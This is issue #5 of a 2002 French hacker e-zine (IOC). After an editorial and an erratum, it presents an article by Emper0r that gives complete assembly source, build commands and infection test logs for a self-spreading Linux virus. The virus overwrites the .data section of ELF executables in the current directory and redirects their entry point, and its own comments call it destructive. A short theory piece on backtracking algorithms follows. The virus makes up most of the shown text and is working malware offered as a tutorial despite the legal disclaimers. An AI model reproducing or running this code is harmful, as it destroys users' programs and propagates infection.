                             The Input Output Corporation
                             http://www.rootshell.be/~ioc

                         .oO()  P  R  E  S  E  N  T  S  ()Oo.

                                        _
                              ________ | |__     __
                             |__    __||  _ \  /   \
                                |  |   | | | ||  - /
                                |__|   |_| |_| \____|
__  __ __     ___    __   __  ________      ___    __   __  ________   ___   __   __  ________
|  ||  '_  \ /  _  \ |  | |  ||__    __|   /     \ |  | |  ||_     _ |/  -  \|  | |  ||_      _|
|  ||  | |  ||   __/ |   -   |   |  |     |  [ ]  ||   -   |   |  |   |   __/|   -   |   |  |
|__||__| |__||__|     \______|   |__|      \_____/  \______|   |__|   |__|    \______|   |__|
                __ ____ __     __ _   ___    __ _  _____  __  __ __      __
               |  '_   '_  \  /  ' | /   \  /  ' ||__  / |  ||  '_  \  /   \
               |  | |  | |  || [ ] ||  -  || [ ] |  / /_ |  ||  | |  ||  - /
               |__| |__| |__| \____| \__  | \____| /____||__||__| |__| \____|
                                     |___/

                      -------------------------------------------
                      _                                         _
                      _        Issue#5      5 Novembre 2002     _

                      -------------------------------------------









=-=-=-=-=-=-=-=-=-=-=-oO0()  D I S C L A M E R  ()0Oo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

La lecture de cette publication lectronique implique la lecture de ce disclaimer.
Le prsent numro a pour unique vocation de prsenter aux lecteurs divers aspects de ce
vaste  domaine  qu'est la scurit informatique, afin de leur donner les moyens de faire
fae  d'ventuelles attaques. Nous n'incitons aucunement nos lecteurs  se livrer  des
actes de piratages ni  quelqu'autre activit illicite. Les auteurs de cette publication
dclinent toute responsablit quant  l'usage qui peut tre fait des informations allant
tre diffuses ci-aprs. Aucune entreprise  collective n'est mene par le groupe, hormis
la ralisation du magazine, chaque membre tant de ce fait seul responsable de ses actes.
Le contenu de ce document est sous  copyright IOC (2001 - 2002)  moins que le contraire
ne soit indiqu. Permission  est  accorde de citer ou de reproduire tout ou partie d'un
article, du moment que celui-ci conserve les crdits d'origine.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-










            _
   __    __| | __  ________    ___
/   \  / _  ||  ||_      _| /     \
|  _ / | |_| ||  |   |  |   |  [ ]  |
\____| \____||__|   |__|    \_____/ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Quelque temps avant nos dbuts, le groupe RtC signait le 5me numro de son magazine, qui
par la suite s'avra malheureusement  tre le  dernier de la srie. Aujourd'hui, nos deux
mags cohabitent sur la mme page de madchat et il semble que ce soit  notre tour de vous
proposer notre 5me issue. En esprant que cette fois-c la srie se prolonge, nous voici
donc partis pour Iocmag issue5 ! Pas mal de monde nous a rejoint pour ce numro, viperone,
Marcel pour ce qui est des nouveaux arrivants, Jackniels qui avait dja publi dans notre
prcdente publication, ainsi que Disk-Lexic qui avait collabor  l'issue3. Certains ont
t trs prolifiques, comme Li0n7 qui totalise 5 articles ! Pour d'autres en revanche, il
y a eut visiblement du laisser aller dans l'air =p Non, plus srieusement l'quipe  bien
boss, pour preuve, ce numro est le plus long de tous avec plus de 300ko de textes et de
codes. Aussi nous esprons que vous pendrez du plaisir  nous lire. Vous  l'avez constat
en tlchargant ce mag depuis notre site, le design a radicalement chang ; merci  notre
qubcois de collaborateur, viperone, pour ce nouveau look. En ce qui concerne l'actu  de
la fameuse 'scne franaise' dont tout le monde parle tant, nous vous avions annonc dans
l'dito de l'issue4, la sortie imminente du fameux magazine FRAG ; vous aurez compris que
les choses n'ont pas du se passer comme prvues, dommage. Toutetois si vous comptiez vous
y exprimer, vous pouvez toujours le faire chez nous, je dis a juste en passant, comme a.
Toujours entre paranthses, je (neofox) vais profiter de cet edito pour vous signaler, en
tout discrtion, que je (toujours moi) recherche des amateurs de lockpicking prs de chez
moi, dans la rgion de Clermont-Ferrdand ; voila,  c'est tout, merci de votre  attention.
Comme  l'accoutume, vous trouverez de quoi nous contacter  la fin de ce mag, mais vous
pouvez galement passer faire un tour sur irc.epiknet.org #hianda, au moins vous tes sur
de toujours croiser l'un d'entre nous. Allez, trve de bavardages, et bonne lecture !


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-














         ___    ___    __ ____ __    __ ____ __     __ _  __  ____    __
        / __/ /     \ |  '_   '_  \ |  '_   '_  \  /  ' ||  ||  __| /   \
        \__ \|  [ ]  ||  | |  | |  ||  | |  | |  || [ ] ||  || |   |  - /
        |___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_|    \____|


           ------------------------------------------------------------
          |  Auteur    | n  |              T i t r e                  |
           ------------------------------------------------------------
          |  Neofox    |I.   |     Erratum : oups, I did it again !    |
           ------------------------------------------------------------
          |  Emper0r   |II.  |     ELF infection, la menace fantome    |
           ------------------------------------------------------------
          | Disk-Lexic |III. |        Algorithmes dterministes        |
           ------------------------------------------------------------
          |   Li0n7    |IV.  |        Sniffing avanc - lsniff.c       |
           ------------------------------------------------------------
          |  Viperone  |V.   |          Something about WinNT          |
           ------------------------------------------------------------
          |   MeiK     |VI.  |      Introducion au Tunneling ICMP      |
           ------------------------------------------------------------
          |   Li0n7    |VII. |         Network Traffic Backdoor        |
           ------------------------------------------------------------
          |  Neofox    |VIII.|      Surveillance des binaires SUID     |
           ------------------------------------------------------------
          |   Marcel   |IX.  |  Lib. de classe de geston Client/Socket |
           ------------------------------------------------------------
          |   Li0n7    |X.   |               COM Infector              |
           ------------------------------------------------------------
          | Jackniels  |XI.  |         Dmarrer sshd  distance        |
           ------------------------------------------------------------
          |   Li0n7    |XII. |               EXE Infector              |
           ------------------------------------------------------------
          |  Emper0r   |XIII.|           L'Attaque des Scripts         |
           ------------------------------------------------------------
          |   Li0n7    |XIV. |    Programmation d'un TCP SYN FLOODER   |
           ------------------------------------------------------------






                           -=-=-=-=-=-=-=-=-=-=-=-
                             Contenu de l'archive
                           -=-=-=-=-=-=-=-=-=-=-=-

                                ioc5.txt
                                winnt.zip
                                Suid-Surveyor.tgz













-----------------------------------------------------------------------------------------
I.                    Erratum : cherchez l'erreur ...                            Neofox
-----------------------------------------------------------------------------------------


Un brouillon d'article s'est gliss dans le prcdent numro, vas tu le retrouver ?!

Eh oui, chers lecteurs, vous avez probablement remarqu en parcourant l'issue #4,
que l'article de girliie sur le carding n'en tait pas un ! Il s'agissait enfait
d'un 'brouillon' qui n'tait que l'bauche partielle de l'article final ! Ainsi,
mme si en le survolant, l'allure gnrale du texte semblait normale, en lisant
plus attentivement on se rendait compte ds le milieu de l'article, que celui-ci
n'avait en fin de compte ni queue ni tte ! Comment diable expliquer une telle
mprise ? Nous ne le saurons jamais avec certitude, bien que j'ai en ce qui me
concerne ma part de responsabilit dans l'affaire. Les vacances d't ont unpeu
dcim nos rangs, et sur #hianda la communication entre les troupes tait assez
laborieuse. Girliie s'en est alle en nous confiant son bauche, que nous avons
pris,  quelques jours de la sortie officielle, pour l'article fin prt : lecture
en diagonale, mise en page express, copier/coller  la suite du mag, et nous
pensions l'affaire dans le sac ...  De retour de vacances 15 jours plutard,
Girliie s'aperevant de notre  grossire erreur  nous a secou les puces, et en
15 minutes, le problme tait rgl, le brouillon supprim de l'issue aussi sec !
Il doit encore subister par c par l des copies du mag contenant toujours le
brouillon mais soyez gentils, n'en tenez pas compte !

L'aritcle complet, bel et bien fini, vous sera servi dans son intgralit avec
le prochain numro du magazine.



















---------------------------------------------------------------------------------------
II.             ELF infection la menace fantome: pisode 1                     Emper0r
---------------------------------------------------------------------------------------



[ Sommaire ]

  I/ Introduction.

  II/ Langage assembleur sous linux.
         A/ Compilateur et syntaxe
         B/ Le format elf
         c/ Syscall

  III/ Plan d'attaque.

  IV/ Le code.

  V/ Conclusion





    I. Introduction :
    _________________


Avant de commencer petit rappel :
"Entraver ou fausser le fonctionnement d'un systme de traitement automatis
de donnes est passible d'un emprisonnement de 3 mois  3 ans et d'une amende
de 10 000 F  100 000 F"  (cf. iocmag issue4).

Attention a ce que vous faites ; en aucun cas vous ne pouvez vous servir des
informations de cet article pour nuire au le fonctionnement d'un systme.

Ca y est je viens de finir mon premier lame elf infector :)
Je vous prviens tout de suite, mon virus est malheureusement un simple virus
a recouvrement, pas un parasite ! La principale difficult que j'ai rencontr
fut l'extrme rigidit du format elf:


         - On ne peut pas modifier les droits des sections.
         - Il y a peu voir pas du tout d'espace non utilis.
         - Rigidit extrme, tout ce qui est incorrect segfault,
           mme si ca pourrait thoriquement fonctionner.

         - Certaines section sont recouverte au lancement.
         - Agrandir les sections pause pas mal de problme, c'est
           long et compliqu  (mais c'est certainement la solution)

         - Je n'ai mme pas russi a ajouter une nouvelle section
           correctement exploitable.


Bref tout le contraire du trs souple format PE. Cet article peu tre suivi
par tout le monde, il ne s'adresse pas uniquement aux vxers.









    II. Langage assembleur sous linux.
    ____________________________________



        A/ Compilateur et syntaxe :
        ___________________________


Je ne vais pas reprendre les bases de l'asm, les fonctionnement
des registres et des instructions de bases tant expliqus dans
IOC#3 et IOC#4.

Sous linux on a le choix entre plusieurs assembleur dont certains
utilisent des syntaxe diffrentes. Les plus utilis sont:

        - NASM: Qui utilise la syntaxe intel, utilis
                sous windows/dos

        - GAS: Qui utilise une syntaxe AT&T



[ Diffrences de la syntaxe AT&T ]

  o Les noms de registres sont prfixs avec %, de faon que les
    registres sont %eax, %dl et consorts au lieu de juste eax,
    dl, etc. Ceci rend possible l'inclusion directe de noms de
    symboles externes C sans risque de confusion, ou de ncessit
    de prfixes.


  o L'ordre des oprandes est source(s) d'abord, destination
    en dernier,  l'oppos de la convention d'intel consistant
     mettre la destination en premier, les source(s) ensuite.
    Ainsi, ce qui en syntaxe intel s'crit "mov ax,dx" (affecter
    au registre ax le contenu du registre dx) s'crira en syntaxe
    AT&T "mov %dx, %ax".


  o La longueur des oprandes est spcifie comme suffixe du nom
    d'instruction. Le suffixe est b pour un octet (8 bit), 'w' pour
    un mot (16 bit), et 'l' pour un mot long (32 bit). Par exemple,
    la syntaxe correcte pour l'instruction ci-dessus aurait d tre
    "movw %dx,%ax". Toutefois, gas n'est pas trop aussi strict que
    la syntaxe AT&T, et le suffixe est optionnel quand la longueur
    peut tre devine grce aux oprandes qui sont des registres,
    la taille par dfaut tant 32 bit (avec une mise en garde quand
    on y fait appel).


  o Les oprandes immdiates sont marqus d'un prfixe '$', comme
    dans 'addl $5,%eax' (ajouter la valeur longue immdiate 5 au
    registre %eax).


  o L'absence de prfixe  une oprande indique une adresse mmoire ;
    ainsi 'movl $foo,%eax' met l'adresse de la variable foo dans le
    registre %eax, tandis que 'movl foo,%eax' met le contenu de la
    variable foo dans le registre %eax.


  o L'indexation ou l'indirection se fait en mettant entre parenthses
    le registre d'index ou la case mmoire contenant l'indirection,
    comme dans "testb $0x80,17(%ebp)" (tester le bit de poids fort de
    l'octet au dplacement 17 aprs la case pointe par %ebp).




Exemple:

Syntaxe Intel      Syntaxe AT&T

push ebp          pushl %ebp
mov ebp,esp       movl %esp,%ebp


Personnellement j'utilise la syntaxe intel aussi sous linux, tant
habitu a celle-ci. Je ne voit pas d'avantage  utiliser AT&T qui
est plus longue  taper. Cependant vous devez la comprendre car gdb
donne du code dsassembl en syntaxe AT&T.

Vous trouverez prochainement (quand j'aurais le temps) sur mon site,
un script perl pour convertir des sources d'une syntaxe vers une autre.
(www.arbornet.org/~emper0r)





        B/ Le format elf :
        __________________


Juste quelques bases pour ceux qui connaissent rien au format elf.


[ Les sections ]

3 sections nous intresse particulirement :

  o .data : elle contient des constantes, par exemple une
            chane de caractre

  o .bss : c'est la que l'on dclare nos variables
           ex: filename resb 255; Reserve 255 octets


  o .text : c'est ici que ce trouve votre code.


Essayez la commande 'readelf' elle donne normment de renseignements
sur l'elf que vous voulez. Je suis en train de coder un petit outil du
style de "readelf" avec quelques options en plus, bientt dispo sur mon
site (www.arbornet.org/~emper0r)

 >>> Note de Neofox : c'est bon Emp', on a l'adresse =





Que peut on trouver d'interrssant dans le elf header :


typedef struct
{
  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
  Elf32_Half e_type;                /* Object file type */
  Elf32_Half e_machine;             /* Architecture */
  Elf32_Word e_version;             /* Object file version */
  Elf32_Addr e_entry;               /* Entry point virtual address */
  Elf32_Off  e_phoff;               /* Program header table file offset */
  Elf32_Off  e_shoff;               /* Section header table file offset */
  Elf32_Word e_flags;               /* Processor-specific flags */
  Elf32_Half e_ehsize;              /* ELF header size in bytes */
  Elf32_Half e_phentsize;           /* Program header table entry size */
  Elf32_Half e_phnum;               /* Program header table entry count */
  Elf32_Half e_shentsize;           /* Section header table entry size */
  Elf32_Half e_shnum;               /* Section header table entry count */
  Elf32_Half e_shstrndx;            /* Section header string table index */
} Elf32_Ehdr;


Ce qui nous interresse :

  o e_entry: Variable contenant le virtual offset du premier octet du code.
  o e_shoff: Variable contenant l'offset ou ce trouve le section header.




[ La section header ]

/* Section header.  */

typedef struct
{
  Elf32_Word    sh_name;                /* Section name (string tbl index) */
  Elf32_Word    sh_type;                /* Section type */
  Elf32_Word    sh_flags;               /* Section flags */
  Elf32_Addr    sh_addr;                /* Section virtual addr at execution */
  Elf32_Off     sh_offset;              /* Section file offset */
  Elf32_Word    sh_size;                /* Section size in bytes */
  Elf32_Word    sh_link;                /* Link to another section */
  Elf32_Word    sh_info;                /* Additional section information */
  Elf32_Word    sh_addralign;           /* Section alignment */
  Elf32_Word    sh_entsize;             /* Entry size if section holds table */
} Elf32_Shdr;


  o sh_offset : Variable contenant l'offset de la section voulu


Voila pour mon virus, on juste besoin de ces 3 variables.






        C/ Syscall :
        ____________



Les syscalls sont des interruptions logicielles un peu comme les
interruptions logicielles du DOS. Par consquent ceux qui on dj
programm sous DOS ne seront mme pas dpayss :)

Exemple: le bon vieux hello world

Pour crire une ligne on va ce servir de sys_write. Voici ce que
dit ma doc a propos de sys_write:

arguments:
eax 4
ebx file descriptor
ecx ptr to output buffer
edx count of bytes to send

return:
eax no. of sent bytes (if POSIX conforming f.s.)
errors:
eax EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, ENOSPC, EPIPE
source
fs/read_write.c


Pour plus d'information: "man 2 write"


Si je veux crire une ligne dans ma console :

mov eax, 4              ;fonction criture
mov ebx, 1              ;on crit dans la console
mov ecx, msg            ;pointe vers la chane
mov edx, len            ;variable contenant la longueur de la chane


Le code complet:

;-----------------------------------------------------------------------------

section .data           ;section dclaration

msg     db      "Hello, world!",0xa	;Chane a afficher
len     equ     $ - msg                 ;longueur de cette chane


global main

section .text           ;section contenant le code

main:


        mov     edx, len        ;edx = longueur de la chane a afficher
        mov     ecx, msg        ;ecx pointe sur le dbut de la chane
        mov     ebx, 1          ;file handle, ou l'on crit
        mov     eax, 4          ;sys_write
        int     0x80            ;call kernell

        mov     ebx, 0          ;ebx = 0 -> exit code
        mov     eax, 1          ;sys_exit
        int     0x80

;-----------------------------------------------------------------------------


[emper0r@laptop asm]$ nasm -f elf hello.asm
[emper0r@laptop asm]$ cc hello.o -o hello
[emper0r@laptop asm]$ ./hello
Hello, world!
[emper0r@laptop asm]$



Petite astuce avec : len     equ     $ - msg, le compilo remplit
directement la longueur de la chane, sinon on peut metre la valeur
directe biensur.







    III. Plan d'attaque :
    _____________________


Pour attaquer on a besoin :

      - D'un diteur texte, vi est trs bien.
      - Une table explicative des syscalls.
      - Une doc sur le format elf.
      - gdb.
      - Un diteur hexa au choix.
      - nasm.
      - ldasm peut servir aussi en modifiant son code.


J'ai tout d'abord cherch  faire un virus parasite, mais aprs
plusieurs segfaults n'ayant toujours pas trouv, je dcide de faire
mes dbuts avec un virus a crasement, le plus simple possible.


Tout d'abord je dcide d'craser la section .text, premier problme
je ne peux pas utiliser de buffer, on ne peut pas crire dans la section
.text. Le problme du buffer est rsolu, je vais tout mettre dans la pile,
c'est pas trs propre mais je voit pas d'autre solution.

Second problme la section .text ne commence pas directement par notre
main() du code est crit avant ; si l'on crase ce code, une partie sera
rcrite lors du chargement du elf :(

Il faudrait donc rechercher le dbut du main pour commencer  crire
notre virus. ( je sais pas si sa marche j'ai pas test ). Cependant mon
objectif est de faire le plus simple possible... Je cherche ailleurs...


12 segfaults et 4 bires plus tard je m'appercoit de quelques chose
d'interrssant la section .data est excutable ! (vous remarquez au
passage ma moyenne de 3 segfaults/bire) Voila mon virus  crasement
va craser cette section en partant du dbut.

Pour infos, beaucoup (toutes ?) de sections qui on les mmes droits et
fonctionnement que .data sont aussi excutable.

Un avantage quand mme sous linux pour les vxers, ce sont les syscalls
pas besoin de crer une routine pour trouver les fonctions en mmoire.
Le scann des apis en mmoire sous windows c'est franchement nervant.




[ Explication de certainnes fonctions ]


La programmation d'un virus contient toujours 2 parties trs importante :
la recherche de fichier hote et la copie du virus lui mme.

Commenons par la recherche de fichier :

La recherche va se faire avec le syscall 220 -> getdents64.
Voici un petit exemple du contenu d'un buffer construit par getdents:

0x80495ac <direntsbuf>:         0x00000000
0x80495b0 <direntsbuf+4>:       0x00000000
0x80495b4 <direntsbuf+8>:       0x0000000c
0x80495b8 <direntsbuf+12>:      0x00000000
0x80495bc <direntsbuf+16>:      0x2e040018  en + 19 le premier nom soit
0x80495c0 <direntsbuf+20>:      0x00000000
0x80495c4 <direntsbuf+24>:      0x00056a15       il y a 0x18 octets
0x80495c8 <direntsbuf+28>:      0x00000000       entre les noms cette info ce
0x80495cc <direntsbuf+32>:      0x00000018       trouve en + 16
0x80495d0 <direntsbuf+36>:      0x00000000
0x80495d4 <direntsbuf+40>:      0x2e040018  a partir de + 43 le deuxime nom
0x80495d8 <direntsbuf+44>:      0x0000002e
...   ...   ...   ...   ...   ...   ...
...   ...   ...   ...   ...   ...   ...
0x8049656 <direntsbuf+170>:     0x00000000
0x804965a <direntsbuf+174>:     0x00200000  prochain nom en $+20+3
0x804965e <direntsbuf+178>:     0x64646408  nom de fichier dddddddd
0x8049662 <direntsbuf+182>:     0x64646464
0x8049666 <direntsbuf+186>:     0x00000064
0x804966a <direntsbuf+190>:     0x27340000
0x804966e <direntsbuf+194>:     0x00000006
0x8049672 <direntsbuf+198>:     0x00740000
0x8049676 <direntsbuf+202>:     0x00000000
0x804967a <direntsbuf+206>:     0x00200000  prochain nom en $+20+3
0x804967e <direntsbuf+210>:     0x65656508  nom de fichier eeeeeeeeee
0x8049682 <direntsbuf+214>:     0x65656565
0x8049686 <direntsbuf+218>:     0x00656565
0x804968a <direntsbuf+222>:     0x27350000
etc ....


En analysant ce buffer, on peut voir que le premier nom de fichier
se trouve en 0x13 "direntsbuf+19". On voit aussi que 3 octet avant,
en 0x10 "direntsbuf+16" ce trouve l'offset du prochain du prochain
nom + 3. Et ainsi de suite.



La Deuxime fonction est donc l'infection, en thorie ca donne :

   1- Rcupration un nom de fichier

   2- Ouverture de ce fichiers
          -sion peut pas on passe en 1

   3- Test si il s'agit bien d'un elf
          -si ce n'est pas le cas on revient en 1

   4- Test si la taille de .data du fichier trouv
      est > a la taille de notre virus
           -sinon on passe en 1

   5- criture de notre virus au dbut de .data

   6- Modification de l'EP du fichier vers le dbut
      de la section .data

   7- Tous les fichiers de ce rep ont tait test ?
           -sinon on passe en 1

   8- Affichage de la signature et fin.










    IV. Le code :
    _____________


/!\  Si vous voulez le tester alors seulement sur votre propre
     bcane. Attention ce code est destructeur.

/!\  La destruction et/ou modification de donnes ainsi que la
     propagation de virus est trs fortement punis par la loi.


Ce code permet l'tude de l'infection possible du format elf, en aucun cas
il doit tre utiliser dans le but de nuire ou dtruire.


;-----------------------------------------------------------------------------
;
;                Linux.DeliriumTremens.000 by Emper0r
;                ____________________________________
;
;
;
;Just a another lame virus ...
;
;
;Le Delirium Tremens est une 'maladie' li  la suspension brutale de
;l'intoxication a l'alcool, des symptmes mineurs initiaux peuvent apparatre
;6  8 heures aprs la dernire absorption. Cette 'maladie' provoque
;agitation, tat confusionnel, hallucinations, tremblement rapide,
;trouble du sommeil, signes neuro-vgtatifs (sudation, fivre, tachycardie ..)
;
;
;La Delirium Tremens est aussi une bire trs bonne (oupss j'ai fait d'la pub )
;
;
;Linux.DeliriumTremens.000 est un petit virus capable d'infecter tout les elfs
;du rpertoire courant du moment que ceux ci on une section .data plus
;importante que son code.
;
;Linux.DeliriumTremens.000 est un virus a crasement il est DESTRUCTEUR, la
;section .data ou du moins une parti est crase et l'hote ne fonctionne plus
;du tout, il est irrmdiablement dtruit.
;
;Si vous voulez le tester alors faite le seulement sur votre propre bcane en
;connaissant les risques encouru...
;
;Remerciement:
;	- A tous ceux qui participent et/ou soutiennent la IOC.
;	- La team 29A et tout particulirement SnakeByte et Mandragore
;	- Tous les vxers bien tar et bien sympa que l'on retrouve dans certains
;         coin obscur de l'IRC :)
;
;
;Pour compiler ca :
;nasm -f elf DeliriumTremens.asm
;cc DeliriumTremens.o -o DeliriumTremens
;(compiler sous linux avec un kernell 2.4.18)
;
;"He who makes a beast of himself gets arid of the pain of being a man"
;
;


section .data           ;Le code de la souche est aussi dans la .data

main :
debutvirus:	        ;


mov eax, 5              ;ouverture
push 0x2E               ;0x2E= '.' astuce pour pas utiliser de buffer
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80

sub esp, 0x10000        ;recup de la place sur la pile, 64ko
                        ;juste pour les noms
mov ebx, eax
mov eax, 220            ;getdents
mov ecx, esp            ;buffer_rsultat dans esp
mov edx, 0x10000        ;taille
int 0x80

mov ebp, 16             ;premier nom en ebp + 3



lol:
mov ebx, ebp
add ebx, 3              ;esp + 3 = premire lettre du nom
jmp fouverture          ;j'aurai du le remplacer par un call mais j'ai
                        ;dja assez de manip sur la pile(voir la suite)


arf:
mov ecx, ebp            ;test si plus de fichier dans le buf
mov dl, byte [esp + ecx]
cmp dl, 0
je bye                  ;plus de fichier alors casse toi
add ecx, edx            ;sinon ajoute le prochain dcalage
mov ebp, ecx            ;on le sauve
jmp lol                 ;et on passe au suivant



fermeture:
mov eax, 6              ;on ferme le fichier ouvert
int 0x80                ;
jmp arf                 ;on va ce prpar a repartir avec un nouveau fichier



bye:
mov eax, 4              ;affiche la signature
mov ebx, 1

call @@@                ;permet de rcupr eip
@@@:                    ;dans ecx, une fois infecter les
pop ecx                 ;labels ne fonctionneront plus

add ecx, 0xDD           ;notre signature ce trouve 0xDD plus loin
mov edx, 38             ;longueur de la signature
int 0x80

mov eax, 1              ;c'est fini on stoppe tout
mov ebx, 0
int 0x80



fouverture:             ;ouverture du fichier
mov eax, 5
add ebx, esp
mov ecx, 2
xor edx, edx
int 0x80


cmp ah, 0xFF            ;teste si on a pu l'ouvrir
je arf                  ;sinon on va ce prpar pour un nouveau fichier

push eax                ;met le file descriptor sur la pile
pop ebx                 ;recup le FD

call sysread            ;lecture des 4 premiers octet du fichier

cmp eax, 0x464C457F     ;test si elf
jne fermeture           ;sinon on ce casse

mov ecx, 0x20
call syslseek           ;lseek sur e_shoff (section header offset)
call sysread            ;lecture de e_shoff
push eax                ;sauvegarde de e_shoff

mov ecx, eax

add ecx, 0x26C          ;on ce place sur sh_size .data
call syslseek           ;"
call sysread            ;on lit sh_size (section header size)
pop ecx                 ;on rcupre e_shoff ici, sinon pb de dsquilibre pile
cmp eax, finvirus - debutvirus  ;si pas la place de mettre le code viral dans
jl fermeture            ;.data alors on ce casse

add ecx, 0x268          ;on ce place sur sh_offset de .data
call syslseek           ;"
call sysread            ;on lit sh_offset .data

mov ecx, eax
push ecx                ;sauve sh_offset .data

call syslseek           ;on ce place au dbut de .data pour crire

mov eax, 4              ;criture :)
call cocane            ;Toujours pareil on recup eip dans ecx
cocane:                ;car les labels seront 'dtruits' dans les
pop ecx                 ;fichiers infecter
sub ecx, 0xEB           ;dbut du code viral en eip - 0xEB
mov edx, finvirus - debutvirus    ;nb d'octet a crire, pas de pbs de label ici
int 0x80

mov ecx, 0x18           ;adresse de e_entry (Entry point)
call syslseek           ;lseek sur e_entry

criture:
mov eax, 4
pop ecx                 ;ecx = sh_offset .data
add ecx, 0x8049000      ;ajout du virtual offset
push ecx
mov ecx, esp            ;petite astuce
pop edx                 ;rquilibre la pile avec un octet
mov edx, 4
int 0x80

jmp fermeture



sysread:                ;FD dans ebx, les 4 octet lu sont rcupr dans eax
mov eax, 3              ;sys_call read
sub esp, 4              ;on ce pend 4 octet sur la pile
mov ecx, esp            ;buffer sur la pile
mov edx, 4
int 0x80
pop eax                 ;rsultat dans eax
ret



syslseek:       ;il faut le fd dans ebx, et le dplacement dans ecx
                ;dplacement a partir du dbut du fichier
mov eax, 19
xor edx, edx
int 0x80
ret



signature db 'Linux.DeliriumTremens.000 By Emper0r',10,13,
finvirus:

;----8<-------------------------------------------------------------------------






[ Les tests ]

Combien fait le code de mon virus pour commencer:
[emper0r@laptop vx]$  readelf -S DeliriumTremens |grep .data
  [14] .rodata           PROGBITS        08048430 000430 000008 00   A  0   0  4
  [15] .data             PROGBITS        08049438 000438 000178 00  WA  0   0  4

Mon virus dans la .data fait donc 0x178 (en vrit un peu moins)


On va rcupr plusieurs elf avec diffrentes tailles de section .data.
Un petit script shell que j'appelle sondage.sh va me faire ca:

#!/bin/bash
echo "sondage de la taille de la section $1 dans le rep /bin/\n" > resultat
for file in /bin/*
do
        echo $file >> resultat
        readelf -S $file | grep $1 >> resultat
        echo "" >> resultat
done
cat resultat


[emper0r@laptop vx]$ ./sondage.sh .data

......
Il y a beaucoup de rsultat je vais juste prendre ces 3 fichiers ca me va trs
bien :

/bin/ypdomainname
  [14] .rodata           PROGBITS        08049500 001500 000aa1 00   A  0   0 32
  [15] .data             PROGBITS        0804afa4 001fa4 000018 00  WA  0   0  4
                                                             --
/bin/zcat
  [14] .rodata           PROGBITS        08051da0 009da0 001771 00   A  0   0 32
  [15] .data             PROGBITS        08054520 00b520 000ac0 00  WA  0   0 32
                                                            ---
/bin/zsh
  [14] .rodata           PROGBITS        080ab680 063680 005eed 00   A  0   0 32
  [15] .data             PROGBITS        080b2580 069580 002f70 00  WA  0   0 32
                                                           ----

[emper0r@laptop vx]$ ls
compilo.sh*       DeliriumTremens.asm   resultat     ypdomainname*  zsh*
DeliriumTremens*  DeliriumTremens.asm~  sondage.sh*  zcat*

Je vais lancer mon virus et normalement si tout le monde a suivit il va
infecter zcat et zsh mais pas ypdomainname.


[emper0r@laptop vx]$ ./DeliriumTremens
Linux.DeliriumTremens.000 By Emper0r

virus lan dans le rep


[emper0r@laptop vx]$ cp /bin/awk ./

un nouveaux cobaye entre en jeux :)


[emper0r@laptop vx]$ ./zcat
Linux.DeliriumTremens.000 By Emper0r

zcat a bien t infect et va infecter awk


[emper0r@laptop vx]$ ./awk
Linux.DeliriumTremens.000 By Emper0r

voila ca  fonctionn


[emper0r@laptop vx]$ ./ypdomainname
localdomain

Ca section .data tant trop petite pour contenir le code il n'a pas tai
infecter.





    VI. Conclusion  :
    _________________


Le code comporte quelques petites astuces mais reste trs simple, il est
enplus bien comment  mon avis. J'ai essay de supprimer un maximum les
embrouilles de buffer dans la pile, on doit toujours penser a ne pas
'dsquilibrer' la pile, bien faire attention lors des sorties de fonction.


Il contient juste 1 petit problme : si la section .data n'est pas la
16 me section, alors les elf infects risquent de segfaulter ou de ne
pas fonctionner si on tombe dans une section sans droits d'excution ou
d'criture. C'est trs rare mais ca peu arriver si l'elf a t compil
avec certaines options. Il est facile de corriger ce problme mais ce
virus  crasement ne comporte que peu d'intert ; je ne suis pas all
au bout de tout les tests, c'tait juste pour le fun :)

Vous pouvez augmenter aussi l'espace pris dans la pile si vous avez
peur que 64Ko d'espace (pour stocker les nom de fichiers de rpertoire
courant) ne suffisent pas.

Vous remarquerez aussi ma faon de bourrin pour calculer le virtual
offset du dbut de la section .data pour l'EP, on peu arranger ca
facilement aussi.

Un virus parasite est en cour de dvellopement avec de vraies bonnes
fonctions intrrsantes, affaire a suivre ....

Pour discuter de virus (n'hsitez pas j'adore ca :) vous pouvez me
trouver sur IRC: epiknet & undernet, sinon mail: emper0r@secureroot.com


           << He who makes a beast of himself
           gets arid of the pain of being a man >>



















---------------------------------------------------------------------------------------
III.        Algorithmes dterministes et non dterministes                 Disk-LeXic
---------------------------------------------------------------------------------------

! 	Salut  tous .
!	L'article que vous allez lire est inspir d'un article
!	qui lui mme s'est inspir d'un article de Floyd.
!	Exceptionnellement, vous ne trouverez ici que de la
!	thorie. Si malgr tout, vous tenez  vrifier que votre
!	microprocesseur puisse calculer durant 10^24 sicles sans
!	bugger une seule fois, libre  vous de tenter de mettre
!	en application les explications qui suivent.
!	Je nierais avoir t responsable de l'indisponibilit des
!	ressources dont disposait votre ordinateur.
!	Sur ce, bonne lecture.




    I. Algorithmes non dterminites :
    _________________________________


Souvent les programmes, pour rsoudre des problmes combinatoires,
peuvent s'crirent simplement de manire non dterministe, en utilisant
une fonction  valeurs multiples

De tels programmes, bien qu'ils ne peuvent pas s'executer sur des
calculateurs conventionnels, peuvent tres traduit mcaniquement en
programmes traditionnels utilisant le back-tracking.

Typiquement, le Back-tracking rsout un problme par l'numration
exhaustive de l'ensemble des solutions possibles. Si,  un moment
donn, la tentative de solution ou une solution partielle est trouve
inconstante avec le problme pos, le programme "backtracke" :

remet les variables  la valeur qu'elles avaient juste avant l'essai
infructueux et essaie une autre alternative au mme niveau.
Quand toutes les alternatives  un mme niveau ont t essayes, le
programme remonte   un niveau suprieur pour essayer les
autres alternatives.

Les algorithmes non dterministes ressemblent aux autres algorithmes
excepts en deux points.

	1) L'utilisation d'une fonction  valeurs multiples.
	   Choix (X) dont les valeurs sont les entiers positifs
	   infrieurs ou gaux  X.

	2) Tous les points de terminaison sont tiquets par
	   succs ou chec.






